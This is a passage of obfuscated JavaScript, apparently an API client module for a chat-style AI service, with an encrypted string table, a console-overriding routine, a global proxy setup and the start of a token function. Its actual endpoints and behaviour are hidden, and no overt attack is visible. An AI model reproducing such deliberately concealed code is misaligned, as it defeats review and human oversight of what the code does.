_0x5efa07;for(_0x5efa07=0x0;_0x5efa07<0x100;_0x5efa07++){_0x71e7d4[_0x5efa07]=_0x5efa07;}for(_0x5efa07=0x0;_0x5efa07<0x100;_0x5efa07++){_0x532713=(_0x532713+_0x71e7d4[_0x5efa07]+_0x3f303e['charCodeAt'](_0x5efa07%_0x3f303e['length']))%0x100,_0x15637d=_0x71e7d4[_0x5efa07],_0x71e7d4[_0x5efa07]=_0x71e7d4[_0x532713],_0x71e7d4[_0x532713]=_0x15637d;}_0x5efa07=0x0,_0x532713=0x0;for(let _0x143cd2=0x0;_0x143cd2<_0x5d265b['length'];_0x143cd2++){_0x5efa07=(_0x5efa07+0x1)%0x100,_0x532713=(_0x532713+_0x71e7d4[_0x5efa07])%0x100,_0x15637d=_0x71e7d4[_0x5efa07],_0x71e7d4[_0x5efa07]=_0x71e7d4[_0x532713],_0x71e7d4[_0x532713]=_0x15637d,_0x2a86a2+=String['fromCharCode'](_0x5d265b['charCodeAt'](_0x143cd2)^_0x71e7d4[(_0x71e7d4[_0x5efa07]+_0x71e7d4[_0x532713])%0x100]);}return _0x2a86a2;};_0xd2f4['xeXpsj']=_0x3ec76b,_0xd2f4['jNrClT']={},_0xd2f4['RqljDs']=!![];}const _0x160ada=_0x1f5b6a[0x0],_0x120f59=_0x581284+_0x160ada,_0xd2f431=_0xd2f4['jNrClT'][_0x120f59];return!_0xd2f431?(_0xd2f4['kKVojV']===undefined&&(_0xd2f4['kKVojV']=!![]),_0x199d65=_0xd2f4['xeXpsj'](_0x199d65,_0x25f364),_0xd2f4['jNrClT'][_0x120f59]=_0x199d65):_0x199d65=_0xd2f431,_0x199d65;}function _0x120f(){const _0x5a415c=['WPxcVL/dVhddRSkgzt8','aWtcNJ8','ls1iWRlcMCofjbyK','W5NcVCoVWPtcNJRcVHhdJG','WOFcPHOHAa','WRPWWPpdS0q','FH5xW4RdJG','WQ9oWOZdPNq','WP40W4JdStq','WQZdTt7cG8kVsCoogqtdSqieW6xdJmkl','pa/cPH8I','udLoW7NdMCopW4Xv','BmoXW590W7BdHSolW4vh','gCoqxIdcHq','WO00W5tdOs7dGmkvkSoI','CCk8W4/dGSkAWQ5hr3VdOr4ZW67dLLulgmkYbqeBWOFdIZG','W5DBC8kXu0hcTqZcGa','WR3cLsdcTCk8','rJXaW5ddRq','kWvOkSkm','W4VcPSoUWOq','urvXW7NdMq','Cmk7W7NdJSkb','gmoXvvZdKW','d8oMyaBcRSkwWOxdNG','W5RdQSkPfYm','cmolWQNcVCo9W5GXz07dPcqgW7m','Bmopcbu','yrRcN8knW5K','WQhcSrtcI8ks','lmoFvfZdTW','W7pcG1dcNCo7WRrEeI/cJa4dWPf0WONdLhtdTCo3','g8o6W4ZcSa','hCkdW5GGW4K','WRzjySoiag3cMW','W4xdPxVdImo5jwHuW5BcTCkrWOLg','W5DNW4bjW4u','kSkVW61RW7K','WRjNWPldR1CxW7RcJW','DCoZWOz9WRpcMSo8W6rhWPFdRSoFsq','W6dcK0dcGCoMW7utsNO','a8oQCgS','AHFdTdFcLq','EJRcMYr6','iZP3W4qZ','W71wW7vHW58','WQe8bmk4ra','lZLnW5i','luZdMxFcRG','W7tdMKHTus8iWR/dQSkLDxfXBsGoELddI8oAkv/dQujTs8ozg8kzW7BdJ8kjWR4lwmoyW7X/W4tdRSk2W7ldHSoCtaPgrclcPCkJWO4gySkCWOuqzCkxCa','W5yOW5q','awNcOW','DSozyNip','F8oNW5HOW7FdNmkkWOnvhaBdHxmnW5xdT8oYDCoy','fmkJW6vAW6xdOSkRy8oxya','p8oZWQeQWRfzWRmoW6XcWR5aWOzf','eeldMgO','xr7dGqFcPG','WRVcQSorzbRcJq','W63cRSoSWPBcMcxdQfpcHCk3W5rvW7z3WQdcISk3W7uqhxZdUCouWP9LzYBdNYxdTwbeWP5kW5/cNLW5WQTmDmkrW5xdLaNcOmkfWOCiutbgsGL5W5VcGCoArstcJsmZgSoqeb3dQ8oiW4W','tHFdRqNcPZL5','W7pdHvrPvMuiWQxcSCoLDIa','gmkAW6bkW4W','jCkyW490W4u','i8oMF30Tyuq','p8oPWQKNWR8','wmoSW59OW7xdGSofW5LhdaZcHMenW5BdVmo6kmkbWO7cUmoOEG','WOG+W4RdKqa','W5RcUe7dUmo3','btruW7KFWR4','b8keFeFdU33cLhHQ','j8o0WQ8','dCkCWRqCW5tdNCkrWQrw','ud7cPIO','hSoJvGVcSa','W5xcTgfCW7WRW74GdI8EbCkGDmo8v8ojBgK','ycPUhSou','W4hcLh9VW5e','W60dW7FdVGu','W5FcTNtcN8o6','WPW6W5BdOa','WPtcUYdcGSk+BIH4W4FcNCkB','WPnnWQ7dKKe','W5G9W4hdPWO','WOBcJaFcOSkV','WR7cVZFcMmkd','aaHmWPpcKG','WR7cJNZdUM3dS8khxq','DtPXW7/dUq','BdlcPILM','WO17WPpcOJ19WPaDW6xdHq','z8olbXzYhSkAW7T4oW','c8oOqqBcRW','zSkIW63dVCkQWPLPtge','jtnAWRZcJ8kEnry3','kSoUWQWTWRuFWRioW4G','a1GCWRi','Bc/cGSknW78','uIHkW7ddL8odW59ym8o3W4rQWRfEWRK','auuFWQm5gmkrW6ZdOG','amkJW69B','oXvSW75VW6/dOmk6WRtdQW','W48SW5ZdOMDeWRyd','vrZdUI7cOq','AmopcGvYqW','qt7cPdX4uSkP','DmoImsnr','WRddLHhdNCk4W6XoCa/cRrGPWQ0','WO8LW4RdQs7dH8kvkSoUcCoRdCofW5ldS04','WR53WOxdTvLFW7dcM8obh8kjvCkZwSoFWPhcKSofWOKZWPhdRG','WR1hFW','ACoxCq','EHlcU8k6W78','acLcW7uEW7BcJqnp','jsTXWRNcGW','nJn5iCkZ','W7RdH1j5','qCooB0qo','W6W2W5NcQGfaW4/cNSootmo7Da','qSkbWQDE','W49pW6zcW5W','i8oqvwOz','W64YW5tcQqDgWQ/cTSoGCmorF8ku','h1iBWPWf','vSoosMWd','WRVcSmkVlYBdR1xcSq','eCoXyM3dIa','BmoYW5XXW7W','W7OKW6ldRai','x8kEW7hdVmkW','W5xcSNFcMmoG','WRtcOmorDWVcI8k1','WPRdUSkXW5ldHx7dVZtdHSo3WR8oWPK','W7hcO8o5WONcNa','WQRcLIilyW','hCoXDfNdVa','zmoVW416W6dcNCocW45AdW','WPHSqmoZkW','lsTFWRlcHCkEiXqXmW','WRn1A8oHla','EbZdRb/cQq','tXhdRrK','xmodxLen','tSoKsG','WQNcGehdQNBdVSkitGuw','W5XSW5z7W7u','W6hcMvP3','vJ7cMtTLv8kIW7m','eXfuW7mc','W4/dG8oXc8oYWQmw','WO7cSbJcKmkF','pxG/WPKH','fmokW4RcJqO','wr3dUWNdRt95W7ddNG','cmoHW4FcRcS','WPtcTsdcLCkJEdXVW5BcGq','pr16W69Z','W4ZcOSoxWPNcOa','W5bCFCohFLxcTrlcQbK','oSkbWQWIW6W','mmkVW7TqW6W','vCoLx0SneWtcH8oCr8kV','krzOWRZcJq','bGb6W7BdQ8obxGNdKSoHWPpdUsJdNSkEAmo6W43cS8o8WQZdS8oWfW','W7/dGvjPr3Tt','WQ4Rc8k3tL3cSW','fKJdJhS','WQNcJKhdUNRdTmkD','fCodWOddTSk4','W7/cLuL+W5DqW4SemHG','b8kez0ZdO3ZcLxncW5emW7VcLq','dCkBWQGa','arr3WPpcRG','o3JdKgZcImkbAHBdPG','WOCGW7ddPY4','mCkRz1tdJW','d8kRW4yNW44','eGtcNc4XW48C','W6/dMK50thjoW7BdPG','wr3dUWNdRs8GW63dIXCzEfS','W7iZW4RdOJK','W7xcMvX8W5uqW5mn','W6ytpCkjwZhdHN4mj8kLW6zw','kcumhCkLAxFcISojfCk6xqBdL2BcQJy7o8oxW4mhbmkpeZZcQSkaW4nwEG','W4pcQMq','hSoPW4VcPa','bsvcg8kLDhm','nHP/W7FdSq','WPhcNHSE','wSkCW6NdQSkIWOj0AG','nG5AWQ7cRa','gCo/WQNdQSkqWQBcVq','WRNdGXBcQCkO','cCoMxXC','DrRcPsrp','iCo0WQeQ','W6JdR3b4sa','lSorsK0','dMNcOmkTm0a','pYDiWQ/cJ8oC','W7FcJ0dcJCoMW7utsI4','WRKWW4RdNXy','WRtcRSolzGNcISkZhq','fcLiW7q','WOG8W5BdOaxdKCksomoIfa','FYnUkSoX','lSoZyIBcNG','WQfdDmopqgVcN10ajCkdW79WWO1y','AIRdJtBcJq','WQnpAmoEac7cIu4doW','qY1jW7q','W4pcTf3dQ8oHWPBcIL98','nLGhWP0b','DJ3cGIPp','oIP1WPJcUa','p8kCueqLcCoDWQ0UEfODWRBcTmoccSo+WPOwlNG6WPeVWP1Uc0SnWRxdMYZdJg3dHK8+W7fQW6ddOIaMvCo+','oxyIWPOjl8kPW4JdGSkbxb7cJ8oxW4xdUtXYW5D4W7RcUtDpW4D1W5XCBGDT','k8kNW50JW7tdIW','tmo1lrrg','zGvQgmod','rK1fghy','vKi+WQRcSSkucuxdVCoEWPZcSttdSG','W6BcG0NcGCoNWRntsJVcLK0mWOrPWOpdIsG','W6/dR8oBkmoT','WOCXW67dQIZdGCkA','dcvqW4NdPa','W5CSW4RdStXp','W4JcV8oWWOZcMc3cPHxdGSoPWPrkWRWSWOpcJq','WQFcRSonDX0','iYFcHIKB','ouhcQ8kGDG','fmoBsNZdTW','tdFcNmkJW6u','W7ZdO8kOdtC','eSk+dX5scKRcKSo8E8k4WOJcLSk4','o8o6WROWWQK','oCkRwMVdRW','t8kuW7NdQSkQW4jXFKG','cSoPW4hcPshcHmkPfSoK','WO97WRtdKKu','rZ1cW6JcKCoyWPnyi8oOW482WQPbWRXDW74','W7JdP8kIdq','zSoseGfKc8ocWRfTpb8fW6JdRSkxdmo8WPSfmxGTWOuVW4yWebmnWRlcG2JcLIRdMG1JWQy3WR/dRwC6rCo/wgW8W6xdJ8oAWQldHxanW5NcT8k6gsZcG8kXf8kKqbKxWOBdRI0YtxNdSCo+ctZcKxTHW7BcQcRcTSkUaIv/WOXhW6tdNmk7vri/WPZdLmosu8oXWOOEfSkdDZijgmoxaCk/kSk5WRbC','WRXTWO/dQfmEW6VdKCosxCozuW','gmoMxqhcS8ktWO4','bI1vW5m+','AW9Vj8o1W6tdUG','WRJdPtJcLmoYFmkeoqtdPG','c2CrWQiq','wCoOmIfu','WR53WOxdTvLFW77cLCoaqG','aCkLW6WrW6dcQmoSB8oozmoOW79Og1O2WQC','WRdcMXa0sa','amk5W4jiW6i','WPuOWPtdPIJdISkhkSo1e8oMvSoaW5pcTaiyaqVdRmkKpLdcPCohsmolq1ddNSk/fq','EmkVW7bYW60aWO0lW4DfWOjK','W67cNffkW5e','AmocDh4ngW','BY52gCoc','nCotr0/dOtHFWOCcWRW','WOBcPCokBH0','fe8tWRiMgmkbW7pdQq','WPypomkhEa','W73dNKXXs3zgW6tdTSk5nJ1MDZO','srxcLCkqW4FcPKD4W69q','bgPpW4RdNmoPW7DU','W4xcI2tdU8o8','umksW69sdSo+WRtcH8kpEvv2WPyfmSoTaLm6WO7cNmkbewLaWP9IW5KKjJ7cTq','bq7cII57W4WjEmoUaCo7WPr9','W4FdVmoRgmod','vqBcVG5u','eSkLW7jl','cmoWqaBcUCks','oHrtW5C5','fmo/DgxdM1r2WRyUWPJdQ8kqW5q3mmkLW7iqW6/cH8kRW5D3wCk/ASo4efzjaW','tSkCW6/dOq','Bmo3W4H0W6RcNCoDW4Pf','fSkIW7nAW7NcPCo3Amod','W5JdHmoTgSoKWQunlCoB','aSoSChW8yrfWWQBdOeK','W4xdGSo5ea','aZjpcSkWBM7cISoj','hgFcOmk8','W54aW4ZdGXO','WRxcGSo0zGK','BIRdRG7cGW','WPNdTZ/cISk6','i8ovWOtdIW','BGxcVWHF','irLMW7X0WQG','W5JcSwJdTCoi','W6tcL0r8','W7RdQ8k+hcVcIxhcNmkC','ESojnqvLwmkdW7K','WQKTdCk0yW','W4RcOmoUWPpcHtZcSGldN8oPWOG','kedcHSkYtG','W4tdG8kinbVdPv3cP8kVne/cVSouWR5lESomW4tdPNqgWRBcKCkvgG','dSkLW6y','Fa9sj8oIW6pdOmog','WO/cLbKCuCoy','WQxcOmotzG','BSoTW4jPW6ddNmoE','rZ1cW6JcKCodW41F','sSkFWRfDcmoZWQBcH8kuy1GTWOKtFa','kSkTW5CHW6W','WPFcLa8pcSoahdX8W4m','W6/dV05ZCG','FGXjgCoP','h8oVW4VcSYhdH8kH','mb1JhSkH','B8krW5JdTCkN','j2a/WQy3','zLHNcwrHlmkmfmoW','W4iTW7ldTX0','qYhcUIn+xCkTW6dcRSkqWO/dO8kqbSkmeLRdLCo1W4KdWONdLc7cHmkKmxLqWPSC','g8kiW7jxW7m','gSo8vXVcS8oqWORdMfG','o8osWOddImkA','pGLSW5DI','b8kTqKFdOG','kCoEWQSRWPG','W7VcKuv8','WPJcGhxdM2W','p8ktxZnpF8k4W6Hl','DCoJW4fvW4W','cCklWRyyW57dM8kjWQbgW4bB','c8k0zghdQW','WOdcPmoEtX8','WPxcIq4RAG','l8okvehdQNbEWOqs','WPxcHtK4DW','uCk/WQbejW','uwDnoa','a2SnW5/dUSksWOCBBmoCWPL1W7fXW6fOW4XMW4VcO3dcMCk/WR9EvSoCWOW8W54gWOqYWPHRWQ96c8kHFG','yw1Qkeq','buurWRqZ','W5VcOmoSWOu','W48HW5BdSZTpWQOzW7G','W4FcRCokWQZcUG','iSozWQ8GWOO','qf3dHMHSWPrFFSo1j8oHWOrx','wCkaWQ1u','WOxcTHZcOCk9','uCkRWPzJjW'];_0x120f=function(){return _0x5a415c;};return _0x120f();}(function(_0x393a57,_0x37538a){const _0x1c9112=_0xd2f4,_0x43b703=_0x393a57();while(!![]){try{const _0x8afd6b=parseInt(_0x1c9112(0x15e,'8[TO'))/0x1*(parseInt(_0x1c9112(0x1a8,'OHj^'))/0x2)+-parseInt(_0x1c9112(0x168,'SuUg'))/0x3+parseInt(_0x1c9112(0x1b9,'$Tz@'))/0x4+parseInt(_0x1c9112(0x171,']2xs'))/0x5+-parseInt(_0x1c9112(0x257,'n#(H'))/0x6*(-parseInt(_0x1c9112(0x24d,'0flv'))/0x7)+parseInt(_0x1c9112(0x204,'ESIT'))/0x8+-parseInt(_0x1c9112(0x22b,'DbfG'))/0x9;if(_0x8afd6b===_0x37538a)break;else _0x43b703['push'](_0x43b703['shift']());}catch(_0x4bb233){_0x43b703['push'](_0x43b703['shift']());}}}(_0x120f,0x4aa58));const _0x1126e9=(function(){const _0x293944=_0xd2f4,_0x1b9696={'eIhUR':function(_0x4e6949,_0x475b02){return _0x4e6949===_0x475b02;},'LTuGH':_0x293944(0x15a,'qoJ]'),'bYmRY':_0x293944(0x126,'n((O'),'FbKcG':function(_0x349e61,_0x13e915){return _0x349e61(_0x13e915);},'RLtsO':function(_0x245007,_0x2bfb2f){return _0x245007+_0x2bfb2f;},'ZxiSm':_0x293944(0x183,'qoJ]'),'pLmzB':_0x293944(0x24c,'naZI'),'xXjCc':function(_0x50027f){return _0x50027f();},'yBshy':_0x293944(0x195,'0flv'),'ZAkdI':_0x293944(0x261,'SuUg'),'pmsCO':_0x293944(0x266,'9w*q'),'wCoya':_0x293944(0x153,'[0S^'),'fSgZC':_0x293944(0x267,'ayx%'),'RaZUs':_0x293944(0x26c,'IQ4M'),'eQrcs':_0x293944(0x145,'OqC]'),'kPtgT':function(_0x981411,_0x421475){return _0x981411<_0x421475;},'WkaLq':function(_0x34b576,_0x4db4e4){return _0x34b576===_0x4db4e4;},'IgUpF':_0x293944(0x193,'!C@$'),'ejeyl':_0x293944(0x22f,'DbfG'),'cteqB':_0x293944(0x1f6,'zDBZ'),'WNTPC':function(_0x4132c8,_0x58e0e5){return _0x4132c8===_0x58e0e5;},'gNwJR':_0x293944(0x1df,'a7Ah'),'WepZQ':function(_0x168ccb,_0x528f80){return _0x168ccb===_0x528f80;},'DOstW':_0x293944(0x234,'Y063')};let _0x5b398f=!![];return function(_0x422e47,_0xec9056){const _0x451b0f=_0x293944,_0x551427={'udzLS':function(_0x26dc64,_0x16906f){const _0x5b2402=_0xd2f4;return _0x1b9696[_0x5b2402(0x1a6,'n#(H')](_0x26dc64,_0x16906f);},'PyUNs':function(_0x28e86d,_0x1df07f){const _0x3a5c4e=_0xd2f4;return _0x1b9696[_0x3a5c4e(0x233,'fXTK')](_0x28e86d,_0x1df07f);},'TlHeX':_0x1b9696[_0x451b0f(0x1c3,'MPv(')],'sQrnP':_0x1b9696[_0x451b0f(0x155,'[0S^')],'TTSpi':function(_0x3ffa5f){const _0x26887b=_0x451b0f;return _0x1b9696[_0x26887b(0x13c,'E8fo')](_0x3ffa5f);},'IFdAD':_0x1b9696[_0x451b0f(0x131,'k0$B')],'iBgdP':_0x1b9696[_0x451b0f(0x16f,'n((O')],'Udobk':_0x1b9696[_0x451b0f(0x243,'!C@$')],'vlHJy':_0x1b9696[_0x451b0f(0x21b,'l7w3')],'vxyPO':_0x1b9696[_0x451b0f(0x1d9,'ESIT')],'bsCwh':_0x1b9696[_0x451b0f(0x138,'l&eW')],'SjgOm':_0x1b9696[_0x451b0f(0x1e2,'!C@$')],'Vhsng':function(_0x51d7f9,_0x35773e){const _0x5a8e5f=_0x451b0f;return _0x1b9696[_0x5a8e5f(0x25b,'9w*q')](_0x51d7f9,_0x35773e);},'GRNKO':function(_0xe57b08,_0x5a0821){const _0x210e6a=_0x451b0f;return _0x1b9696[_0x210e6a(0x13d,'m5g7')](_0xe57b08,_0x5a0821);},'Qjums':_0x1b9696[_0x451b0f(0x25f,'!C@$')],'Izntq':_0x1b9696[_0x451b0f(0x15b,'^d)p')],'jhhfO':function(_0x2d32d9,_0x5bf71f){const _0x601aa=_0x451b0f;return _0x1b9696[_0x601aa(0x1c6,'a7Ah')](_0x2d32d9,_0x5bf71f);},'MFmVp':_0x1b9696[_0x451b0f(0x1d4,'(Fh%')],'oRXwx':_0x1b9696[_0x451b0f(0x198,'^d)p')],'VJShM':_0x1b9696[_0x451b0f(0x1a1,'OHj^')],'sudLb':function(_0xabba0d,_0x22bbf5){const _0x16eaeb=_0x451b0f;return _0x1b9696[_0x16eaeb(0x247,'3vt%')](_0xabba0d,_0x22bbf5);},'OCGGh':_0x1b9696[_0x451b0f(0x250,'l7w3')]};if(_0x1b9696[_0x451b0f(0x217,'naZI')](_0x1b9696[_0x451b0f(0x1af,'8z&n')],_0x1b9696[_0x451b0f(0x165,'zr7)')])){const _0x4b5341=_0x5b398f?function(){const _0x490788=_0x451b0f;if(_0x551427[_0x490788(0x18d,'k0$B')](_0x551427[_0x490788(0x258,'D03E')],_0x551427[_0x490788(0x19c,'OHj^')])){let _0xf01912;try{const _0xeab7e1=_0x551427[_0x490788(0x160,'n#(H')](_0x143cd2,_0x551427[_0x490788(0x1c1,'ayx%')](_0x551427[_0x490788(0x23d,'[0S^')](_0x551427[_0x490788(0x223,'gbZr')],_0x551427[_0x490788(0x128,'H^#Y')]),');'));_0xf01912=_0x551427[_0x490788(0x1d0,'$Tz@')](_0xeab7e1);}catch(_0x99a722){_0xf01912=_0xe6a05c;}const _0x5d7a84=_0xf01912[_0x490788(0x12a,'NTqw')]=_0xf01912[_0x490788(0x242,'^d)p')]||{},_0x15bbe6=[_0x551427[_0x490788(0x164,'SuUg')],_0x551427[_0x490788(0x149,'0flv')],_0x551427[_0x490788(0x1da,'LRGm')],_0x551427[_0x490788(0x129,'l7w3')],_0x551427[_0x490788(0x13e,'(Fh%')],_0x551427[_0x490788(0x24b,'k0$B')],_0x551427[_0x490788(0x24a,'(Fh%')]];for(let _0x2a0ad3=0x0;_0x551427[_0x490788(0x167,'OJFR')](_0x2a0ad3,_0x15bbe6[_0x490788(0x230,'OHj^')]);_0x2a0ad3++){const _0x3e8b7b=_0x58736[_0x490788(0x19f,']2xs')][_0x490788(0x151,'Q0mu')][_0x490788(0x207,'NTqw')](_0x12f8b9),_0x32890d=_0x15bbe6[_0x2a0ad3],_0x53087d=_0x5d7a84[_0x32890d]||_0x3e8b7b;_0x3e8b7b[_0x490788(0x14e,'l&eW')]=_0x1417f4[_0x490788(0x1db,'LRGm')](_0x378e8c),_0x3e8b7b[_0x490788(0x11a,'3vt%')]=_0x53087d[_0x490788(0x1e1,'gbZr')][_0x490788(0x162,'Q0mu')](_0x53087d),_0x5d7a84[_0x32890d]=_0x3e8b7b;}}else{if(_0xec9056){if(_0x551427[_0x490788(0x134,'Tpuj')](_0x551427[_0x490788(0x11b,'8[TO')],_0x551427[_0x490788(0x172,'a7Ah')])){const _0x3f610f=_0xec9056[_0x490788(0x1cd,'qoJ]')](_0x422e47,arguments);return _0xec9056=null,_0x3f610f;}else{if(_0x28821d[_0x490788(0x232,'m5g7')])return{'role':_0x551427[_0x490788(0x21e,'LRGm')](_0xe3aa70[_0x490788(0x1ae,'OqC]')],_0x551427[_0x490788(0x252,'m5g7')])?_0x551427[_0x490788(0x16a,'8z&n')]:_0xb39adf[_0x490788(0x122,'m5g7')],'parts':_0x22f4bf[_0x490788(0x239,'0flv')]};return{'role':_0x551427[_0x490788(0x133,'zDBZ')](_0x3a7019[_0x490788(0x14b,'#Jhe')],_0x551427[_0x490788(0x209,'DbfG')])?_0x551427[_0x490788(0x202,'OHj^')]:_0x348bde[_0x490788(0x146,'Q0mu')],'parts':[{'text':_0x551427[_0x490788(0x17c,'8[TO')](typeof _0x3be434[_0x490788(0x208,'ayx%')],_0x551427[_0x490788(0x154,'n#(H')])?_0x1d5a5c[_0x490788(0x123,'qoJ]')]:_0x25cd74[_0x490788(0x200,'H^#Y')](_0x1e70e7[_0x490788(0x1e3,'9w*q')])}]};}}}}:function(){};return _0x5b398f=![],_0x4b5341;}else return{'role':_0x1b9696[_0x451b0f(0x269,'OHj^')](_0x57551c[_0x451b0f(0x118,'NL1Q')],_0x1b9696[_0x451b0f(0x26e,'gbZr')])?_0x1b9696[_0x451b0f(0x22a,'EAOf')]:_0x28c6c9[_0x451b0f(0x14f,'fXTK')],'parts':_0x12bab1[_0x451b0f(0x156,'naZI')]};};}()),_0x199d65=_0x1126e9(this,function(){const _0x5eade4=_0xd2f4,_0x4e5c2a={'nekKS':function(_0x555fdd,_0x3c2e12){return _0x555fdd(_0x3c2e12);},'JGTIg':function(_0xed7513,_0x81213f){return _0xed7513+_0x81213f;},'RrJCW':function(_0x20bd24,_0x418b62){return _0x20bd24+_0x418b62;},'bMKeg':_0x5eade4(0x16d,'$Tz@'),'IkyiI':_0x5eade4(0x259,'#Jhe'),'BSKeQ':function(_0x142bab){return _0x142bab();},'MJLHD':function(_0x285940,_0x9b3a07){return _0x285940!==_0x9b3a07;},'BGivG':_0x5eade4(0x1fe,'n((O'),'CCDWz':_0x5eade4(0x1d5,'zr7)'),'rhTyL':function(_0x4ca4f0,_0x118f26){return _0x4ca4f0+_0x118f26;},'WKokX':function(_0x4feac1,_0x351df6){return _0x4feac1+_0x351df6;},'Nclfq':function(_0xc05875,_0x1c8d59){return _0xc05875===_0x1c8d59;},'uBqBa':_0x5eade4(0x15f,']2xs'),'qXISe':_0x5eade4(0x144,'EAOf'),'VeZzX':_0x5eade4(0x11f,'k0$B'),'wWtAC':_0x5eade4(0x1e0,'NL1Q'),'Rezof':_0x5eade4(0x1c5,'#Jhe'),'emWyQ':_0x5eade4(0x17b,'a7Ah'),'LVwHx':_0x5eade4(0x253,'OqC]'),'xamHI':_0x5eade4(0x1e8,'NTqw'),'WlWvc':_0x5eade4(0x18f,'0flv'),'CRmsA':function(_0xc73242,_0x1cb25e){return _0xc73242<_0x1cb25e;},'vtNCR':_0x5eade4(0x158,'fXTK')};let _0x380383;try{if(_0x4e5c2a[_0x5eade4(0x1fa,']fFn')](_0x4e5c2a[_0x5eade4(0x1fd,'E8fo')],_0x4e5c2a[_0x5eade4(0x22d,'9w*q')])){const _0x290548=_0x4e5c2a[_0x5eade4(0x229,'l7w3')](Function,_0x4e5c2a[_0x5eade4(0x117,'D03E')](_0x4e5c2a[_0x5eade4(0x210,'gbZr')](_0x4e5c2a[_0x5eade4(0x26a,'m5g7')],_0x4e5c2a[_0x5eade4(0x1a3,']2xs')]),');'));_0x380383=_0x4e5c2a[_0x5eade4(0x228,'3vt%')](_0x290548);}else _0x3887ce=_0x52de7c;}catch(_0x561d53){if(_0x4e5c2a[_0x5eade4(0x1a7,'gbZr')](_0x4e5c2a[_0x5eade4(0x1ca,'!NsV')],_0x4e5c2a[_0x5eade4(0x1a2,']2xs')])){const _0x1ab386=_0x4e5c2a[_0x5eade4(0x1c9,'OqC]')](_0x592ac0,_0x4e5c2a[_0x5eade4(0x23a,'E8fo')](_0x4e5c2a[_0x5eade4(0x1be,'8z&n')](_0x4e5c2a[_0x5eade4(0x163,'n#(H')],_0x4e5c2a[_0x5eade4(0x17e,'*Khk')]),');'));_0x5ad468=_0x4e5c2a[_0x5eade4(0x1c7,'#OZI')](_0x1ab386);}else _0x380383=window;}const _0x597a7b=_0x380383[_0x5eade4(0x1b7,'gbZr')]=_0x380383[_0x5eade4(0x170,'ESIT')]||{},_0x548b7e=[_0x4e5c2a[_0x5eade4(0x16b,']2xs')],_0x4e5c2a[_0x5eade4(0x25c,'gbZr')],_0x4e5c2a[_0x5eade4(0x1ee,'k0$B')],_0x4e5c2a[_0x5eade4(0x1eb,'Q0mu')],_0x4e5c2a[_0x5eade4(0x1a4,']fFn')],_0x4e5c2a[_0x5eade4(0x13a,'qoJ]')],_0x4e5c2a[_0x5eade4(0x19b,'NL1Q')]];for(let _0x3dc98c=0x0;_0x4e5c2a[_0x5eade4(0x26b,'LRGm')](_0x3dc98c,_0x548b7e[_0x5eade4(0x121,'(Fh%')]);_0x3dc98c++){if(_0x4e5c2a[_0x5eade4(0x1d7,'ESIT')](_0x4e5c2a[_0x5eade4(0x140,'(Fh%')],_0x4e5c2a[_0x5eade4(0x224,']fFn')])){const _0x18a312=_0x510525[_0x5eade4(0x11c,'Q0mu')][_0x5eade4(0x1b1,'OqC]')][_0x5eade4(0x169,'3vt%')](_0x38baab),_0x1cdd89=_0x1dc4a8[_0x13ef0c],_0x3b0996=_0x3030ba[_0x1cdd89]||_0x18a312;_0x18a312[_0x5eade4(0x1ab,'SuUg')]=_0x271d71[_0x5eade4(0x1b2,'k0$B')](_0x217d95),_0x18a312[_0x5eade4(0x11a,'3vt%')]=_0x3b0996[_0x5eade4(0x166,'^d)p')][_0x5eade4(0x162,'Q0mu')](_0x3b0996),_0x3c49c3[_0x1cdd89]=_0x18a312;}else{const _0x335b01=_0x1126e9[_0x5eade4(0x265,'#OZI')][_0x5eade4(0x196,'5n!#')][_0x5eade4(0x1db,'LRGm')](_0x1126e9),_0x18cc5a=_0x548b7e[_0x3dc98c],_0x22b4d5=_0x597a7b[_0x18cc5a]||_0x335b01;_0x335b01[_0x5eade4(0x1fb,'*Khk')]=_0x1126e9[_0x5eade4(0x219,'!C@$')](_0x1126e9),_0x335b01[_0x5eade4(0x1e1,'gbZr')]=_0x22b4d5[_0x5eade4(0x120,'l7w3')][_0x5eade4(0x177,'#OZI')](_0x22b4d5),_0x597a7b[_0x18cc5a]=_0x335b01;}}});_0x199d65();import _0x2d79ba from'axios';import{fileTypeFromBuffer}from'file-type';import{setupGlobalProxy}from'../utils/proxy-manager.js';setupGlobalProxy();const _0x4233b8={};_0x4233b8[_0x4d79e7(0x245,'IQ4M')]=_0x4d79e7(0x18b,'H^#Y'),_0x4233b8[_0x4d79e7(0x157,'IQ4M')]=_0x4d79e7(0x16e,'NTqw'),_0x4233b8[_0x4d79e7(0x241,'[0S^')]=_0x4d79e7(0x130,'gbZr');const _0x80907b={};_0x80907b[_0x4d79e7(0x1dd,'MPv(')]=_0x4d79e7(0x17f,'H^#Y'),_0x80907b[_0x4d79e7(0x1cc,'zr7)')]=_0x4d79e7(0x22c,'$Tz@'),_0x80907b[_0x4d79e7(0x1f3,'8[TO')]=_0x4233b8;const CONFIG=_0x80907b,SUPPORTED_MIMES=new Set([_0x4d79e7(0x1f7,'NL1Q'),_0x4d79e7(0x1ac,']fFn'),_0x4d79e7(0x221,'D03E'),_0x4d79e7(0x1a9,'3vt%'),_0x4d79e7(0x251,'zr7)'),_0x4d79e7(0x1d6,'qoJ]'),_0x4d79e7(0x23c,'NTqw'),_0x4d79e7(0x1b3,'Tpuj'),_0x4d79e7(0x119,'OJFR'),_0x4d79e7(0x1bf,'!C@$'),_0x4d79e7(0x1ef,'!NsV'),_0x4d79e7(0x216,'$Tz@'),_0x4d79e7(0x21f,'ESIT'),_0x4d79e7(0x23b,'SuUg'),_0x4d79e7(0x184,'k0$B'),_0x4d79e7(0x262,'qoJ]'),_0x4d79e7(0x176,'$Tz@'),_0x4d79e7(0x248,'[0S^'),_0x4d79e7(0x132,'^d)p'),_0x4d79e7(0x1ad,'0flv'),_0x4d79e7(0x1d8,']fFn'),_0x4d79e7(0x256,'8z&n'),_0x4d79e7(0x1bb,'[0S^'),_0x4d79e7(0x125,'#Jhe'),_0x4d79e7(0x127,'(Fh%'),_0x4d79e7(0x1e7,'LRGm'),_0x4d79e7(0x124,'n#(H'),_0x4d79e7(0x21d,'ESIT'),_0x4d79e7(0x23e,'n#(H'),_0x4d79e7(0x1b4,'OHj^'),_0x4d79e7(0x25a,'fXTK'),_0x4d79e7(0x201,'LRGm'),_0x4d79e7(0x1ba,'naZI'),_0x4d79e7(0x1b0,'n#(H'),_0x4d79e7(0x255,'H^#Y')]);async function getToken(){const 